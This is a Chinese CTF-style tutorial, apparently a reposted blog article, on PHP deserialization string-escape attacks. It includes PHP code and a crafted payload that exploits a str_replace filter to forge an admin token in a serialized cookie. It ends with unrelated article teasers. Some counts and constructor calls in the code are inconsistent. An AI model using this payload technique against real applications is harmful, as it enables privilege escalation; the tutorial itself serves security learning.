反序列化字符串逃逸(上篇)

首先,必须先明白,这个点并不难,我给大家梳理一遍就会明白。

反序列化字符串逃逸就是序列化过程中逃逸出来字符,是不是很简单,哈哈哈!

好了,不闹了,其实:

这里你们只要懂得一个基础:

serialize() 函数序列化后可以保留其原始数据类型和结构,

而filter() 函数则可以对序列化后的字符串进行过滤,例如去除不安全的字符防止代码注入攻击等。具体过滤规则需要根据实际需求来定制。

举个栗子:

<?php
class user{
    public $username;
    public $password;
    public $BTG;

    public function __construct($u,$p){
        $this ->username=$u;
        $this ->password=$p;
        $this->BTG=0;
    }
}
$u=new user('admin','123456');
echo serialize($u);

这里就是最最基础的一个反序列化,然后运行得到的结果是:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}

1.这里在实战中相当于拿到一道题目,先拿到最初的反序列化

接下来,我在原来的代码上稍微做个字符串逃逸

再强调一次:filter() 函数则可以对序列化后的字符串进行过滤,例如去除不安全的字符防止代码注入攻击等。具体过滤规则需要根据实际需求来定制。

2:修改一下原来代码:filter() 函数对序列化后的字符串进行过滤,进行字符串逃逸。

<?php
class user{
    public $username;
    public $password;
    public $BTG;

    public function __construct($u,$p){
        $this ->username=$u;
        $this ->password=$p;
        $this->BTG=0;
    }
}

function filter($s){
    return str_replace('admin','hacker',$s);
}
$u = new user ('admin','hacker',$s);
$u_serialize=serialize($u);
$us=filter($u_serialize);

//$u=new user('admin','123456');
//echo serialize($u);

echo $us;

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}//最初

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}//最新逃逸后

在序列化字符串中,s:5:"hacker" 表示字符串类型的属性值,其中 s:5: 表示字符串长度为 5,而实际上应该是 6("hacker")。到这里已经逃逸成功了。这是因为在 filter() 函数中,将 "admin" 替换为 "hacker" 后,字符串长度发生了变化,导致序列化字符串中的长度信息不准确。

所以接下来这里我就要把;s:3:"BTG";i:0;这里的BTG变成1;

代码:

<?php
class user{
    public $username;
    public $password;
    public $BTG;

    public function __construct($u,$p){
        $this ->username=$u;
        $this ->password=$p;
        $this->BTG=0;
    }
}

function filter($s){
    return str_replace('admin','hacker',$s);
}
$u = new user ('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}','123456',$s);//这里就是把";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}放进'admin'里面补齐最后一个字符而已,";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}这里有45个字符,就直接一共45个admin,因为每次逃逸一个字符,所以必须重复45次

$u_serialize=serialize($u);
$us=filter($u_serialize);

echo($u_serialize);
结果:O:4:"user":3:{s:8:"username";s:270:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}

其实就到这里就搞定了,如果不放心,那就var——dump,把反序列化输出出来,

验证阶段:

<?php
class user{
    public $username;
    public $password;
    public $BTG;

    public function __construct($u,$p){
        $this ->username=$u;
        $this ->password=$p;
        $this->BTG=0;
    }
}

function filter($s){
    return str_replace('admin','hacker',$s);
}
$u = new user ('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}','123456',$s);
$u_serialize=serialize($u);
$us=filter($u_serialize);

$obj=unserialize($us);

var_dump($obj);

结果:

object(user)#2 (3) {
  ["username"]=>
  string(270) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
  string(6) "123456"
  ["BTG"]=>
  int(1)
}
这里BTG从0变成了1,说明你是污染成功了的,因为我的原代码里面写死了BTG是0的,现在变成了1,所以证明反序列化是成功了。

我说现在大家应该都已经懂得反序列化字符串逃逸的一半了,不信?让我来引导大家做道例题就好了!

<?php


# @message.php


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);


字符串逃逸特征: $umsg = str_replace('fuck', 'loveU', serialize($msg));

做这种题就三步走,千万别给自己加戏!

第一步:先拿到以个正常最初的反序列化:

代码如下

<?php

class message{

    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from=$f;
        $this->to=$t;
        }
        }
function filter($msg){
    return str_replace('fuck','loveU',$msg);
}
$msg=new message('a','b','c');

$msg_1=serialize($msg);

echo $msg_1;

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";N;s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
 

第二步:使用filter进行一次字符串逃逸。

<?php

class message{

    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from=$f;
        $this->to=$t;
        }
        }
function filter($msg){
    return str_replace('fuck','loveU',$msg);
}
$msg=new message('fuck','b','c');

$msg_1=serialize($msg);

$msg_2=filter($msg_1);

echo $msg_2;

O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
第三步:算出要逃逸的次数进行复制输出

s:4:"loveU"很明显逃逸一个字符,因为每次逃逸一个字符,";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}这里有62个字符要逃逸,所以必须复制61次fuck,还有这得改成:";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";},因为后面需要admin权限。

简单来说就是把";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}丢到fuck后面,然后根据字符个数,复制几次,就完成了。

<?php

class message{

    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from=$f;
        $this->msg=$m;
        $this->to=$t;
        }
        }
function filter($msg){
    return str_replace('fuck','loveU',$msg);
}
$msg=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');

$msg_1=serialize($msg);

$msg_2=filter($msg_1);

echo $msg_2;

O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

搞定了!这就完成了,如果不放心,可以加一步验证(因为数很多字符容易出错
 

也就改一下输出那个,这个半分钟就好最终变成了admin,说明我们反序列化成功的了。

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这道题目还有一点尾巴,这道题目还有一点隐藏代码,接下来把fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}加入道cookie就能拿到flag了

最后的最后,再进行一次总结:字符串逃逸有三步:

1.拿到正常序列化后字符串。(这个题目都会给·代码你,直接复制然后反序列化就好,没什么技术含量)

2.使用filter进行一次字符串逃逸。

3.第三步:算出要逃逸的次数进行复制输出(但是这里一定要提醒大家一下,字符串逃逸分为增多和减少,苦于篇幅上面我只介绍了一种增多,另外一种也是可以使用本方法的,只是有些地方要改一下,这个等我之后再更新文章)

ps:记住!无论字符串逃逸是增多还是减少,都是因为 return str_replace这个玩意替换字符后造成的逃逸。

希望我的文章能够帮助大家,谢谢看到这里的各位。


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/339024.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【C++ | 数据结构】从哈希的概念 到封装C++STL中的unordered系列容器

文章目录 一、unordered系列容器的底层结构 - 哈希1. 哈希概念2. 哈希冲突 二、解决哈希冲突方法一&#xff1a;合理设计哈希函数&#x1f6a9;哈希函数设计原则&#x1f6a9;常见哈希函数 方法二&#xff1a;开闭散列&#x1f6a9;闭散列线性探测法&#xff08;实现&#xff0…

Linux操作系统——理解文件系统

预备知识 到目前为止&#xff0c;我们所学习到的关于文件的操作&#xff0c;全部都是基于文件被打开&#xff0c;被访问&#xff0c;访问期间比较重要的有重定向&#xff0c;缓冲区&#xff0c;一切皆文件&#xff0c;当我们访问完毕的时候需要将文件关闭&#xff0c;关闭时那…

Python 生成 图片网页列表 显示路径和建立时间 笔记

Python 一键 生成 图片网页列表 显示路径和建立时间 &#xff08;方便查看复制路径、重复一键生成&#xff09; 支持格式&#xff1a;jpg \png\ svg\ webp 图片网页列表 图示&#xff1a; 参考代码&#xff1a; # -*- coding: utf-8 -*- import os import datetime# 指定图片…

八股文学习日常第一期(20240121)

零、前言 1、目的 帮助掌握面试题&#xff0c;就八股文相关内容展开进行学习和整理&#xff0c;也方便之后的复习和巩固。 2、八股文内容来源 ①https://blog.csdn.net/w20001118/article/details/125724647 一、具体内容分析 1、类的完整书写方式 1.1、类 [Access Mod…

Stream toList不能滥用以及与collect(Collectors.toList())的区别

Stream toList()返回的是只读List原则上不可修改&#xff0c;collect(Collectors.toList())默认返回的是ArrayList,可以增删改查 1. 背景 在公司看到开发环境突然发现了UnsupportedOperationException 报错&#xff0c;想到了不是自己throw的应该就是操作collection不当。 发…

2.上传图片到Minio服务中

上传图片 界面原型 第一步: 用户在课程信息编辑界面可以上传课程图片或者修改上传的课程图片 第二步: 请求媒资管理服务将课程图片上传至分布式文件系统同时在媒资管理数据库保存文件信息,上传成功后返回图片在MinIO中的地址 第三步: 请求内容管理服务保存课程信息含课程封…

【网站项目】基于SSM的274办公自动化管理系统

&#x1f64a;作者简介&#xff1a;多年一线开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

【Linux系统编程】进程优先级

文章目录 1. 优先级的基本概念2. 为什么存在优先级3. 查看系统进程4. PRI and NI5. top命令修改已存在进程的nice值6. 其他概念 1. 优先级的基本概念 本篇文章讲解进程优先级&#xff0c;首先我们来了解一下进程优先级的概念&#xff1a; cpu资源分配的先后顺序&#xff0c;就…

burp靶场--访问控制【越权】

【Burp系列】超全越权漏洞实验总结 https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality 1. 访问控制【越权】 https://portswigger.net/web-security/access-control#what-is-access-control ### 什么是访问控制&#xff1a; 访问控…

php基础学习之常量

php常量的基本概念 常量是在程序运行中的一种不可改变的量&#xff08;数据&#xff09;&#xff0c;常量一旦定义&#xff0c;通常不可改变&#xff08;用户级别&#xff09;。 php常量的定义形式 使用define函数&#xff1a;define("常量名字", 常量值);使用cons…

Mac NTFS 磁盘读写工具选哪个好?Tuxera 还是 Paragon?

在使用 Mac 电脑时&#xff0c;我们经常需要读写 NTFS 格式的硬盘或 U 盘。然而&#xff0c;由于 Mac 系统不支持 NTFS 格式的读写&#xff0c;因此我们需要借助第三方工具来实现这个功能。而在市场上&#xff0c;Tuxera 和 Paragon 是两款备受推崇的 Mac NTFS 磁盘读写工具。那…

GSP专版软件系统(医疗器械进销存)

产品概述 软件完全符合药监局GSP认证要求&#xff0c;可订制其它平台的数据对接; 业务流程清晰&#xff0c;操作简单合理&#xff0c;软件速度非常快; 完善的序列号(UDI)管理,并与整个系统融合在一起; 财务账和业务账完美结合; 可自定义的界面、布局管理;灵活的打印样式设计; 可…

有关软件测试的,任何时间都可以,软件测试主要服务项目:测试用例 报告 计划

有关软件测试的&#xff0c;任何时间都可以&#xff0c;软件测试主要服务项目&#xff1a; 1. 测试用例 2. 测试报告 3. 测试计划 4. 白盒测试 5. 黑盒测试 6. 接口测试 7.自动…

Vuex的基础使用

在使用之前要先了解Vuex的组成结构&#xff0c;跟对应的使用关系。 在上图的结构图中可以看到四个组成部分&#xff0c;首先是Components&#xff08;组件&#xff09;、Actions&#xff08;行动&#xff09;、Mutations&#xff08;变化&#xff09;、state&#xff08;状态/数…

Mysql运维篇(三) MySQL数据库分库分表方案

一路走来&#xff0c;所有遇到的人&#xff0c;帮助过我的、伤害过我的都是朋友&#xff0c;没有一个是敌人&#xff0c;如有侵权请留言&#xff0c;我及时删除。 一、前言 关系型数据库本身比较容易成为系统瓶颈&#xff0c;单机存储容量、连接数、处理能力都有限。当单表的数…

【MySQL进阶】SQL优化

文章目录 SQL 优化主键优化数据组织方式页分裂页合并主键设计原则 insert优化order by优化group by优化limit优化count优化 SQL 优化 主键优化 数据组织方式 在InnoDB存储引擎中&#xff0c;表数据都是根据主键顺序组织存放的&#xff0c;这种存储方式的表称为索引组织表 在In…

【5G 接口协议】N2接口协议NGAP(NG Application Protocol)介绍

博主未授权任何人或组织机构转载博主任何原创文章&#xff0c;感谢各位对原创的支持&#xff01; 博主链接 本人就职于国际知名终端厂商&#xff0c;负责modem芯片研发。 在5G早期负责终端数据业务层、核心网相关的开发工作&#xff0c;目前牵头6G算力网络技术标准研究。 博客…

PIG框架学习3——Redisson 实现业务接口幂等

零、前言 ​ 业务接口幂等问题是在开发中遇到的&#xff0c;如果对业务接口代码不进行幂等控制&#xff0c;并且在前端没有对请求进行限制的情况下&#xff0c;可能会出现多次对接口调用&#xff0c;导致错误异常的发生。就上述情况&#xff0c;对PIGX自带的业务接口幂等实现进…

无法找到mfc100.dll的解决方法分享,如何快速修复mfc100.dll文件

在日常使用电脑时&#xff0c;我们可能会碰到一些系统错误提示&#xff0c;比如“无法找到mfc100.dll”的信息。这种错误通常会阻碍代码的执行或某些应用程序的启动。为了帮助您解决这一问题&#xff0c;本文将深入探讨其成因&#xff0c;并提供几种不同的mfc100.dll解决方案。…

lv14 内核定时器 11

一、时钟中断 硬件有一个时钟装置&#xff0c;该装置每隔一定时间发出一个时钟中断&#xff08;称为一次时钟嘀嗒-tick&#xff09;&#xff0c;对应的中断处理程序就将全局变量jiffies_64加1 jiffies_64 是一个全局64位整型, jiffies全局变量为其低32位的全局变量&#xff0…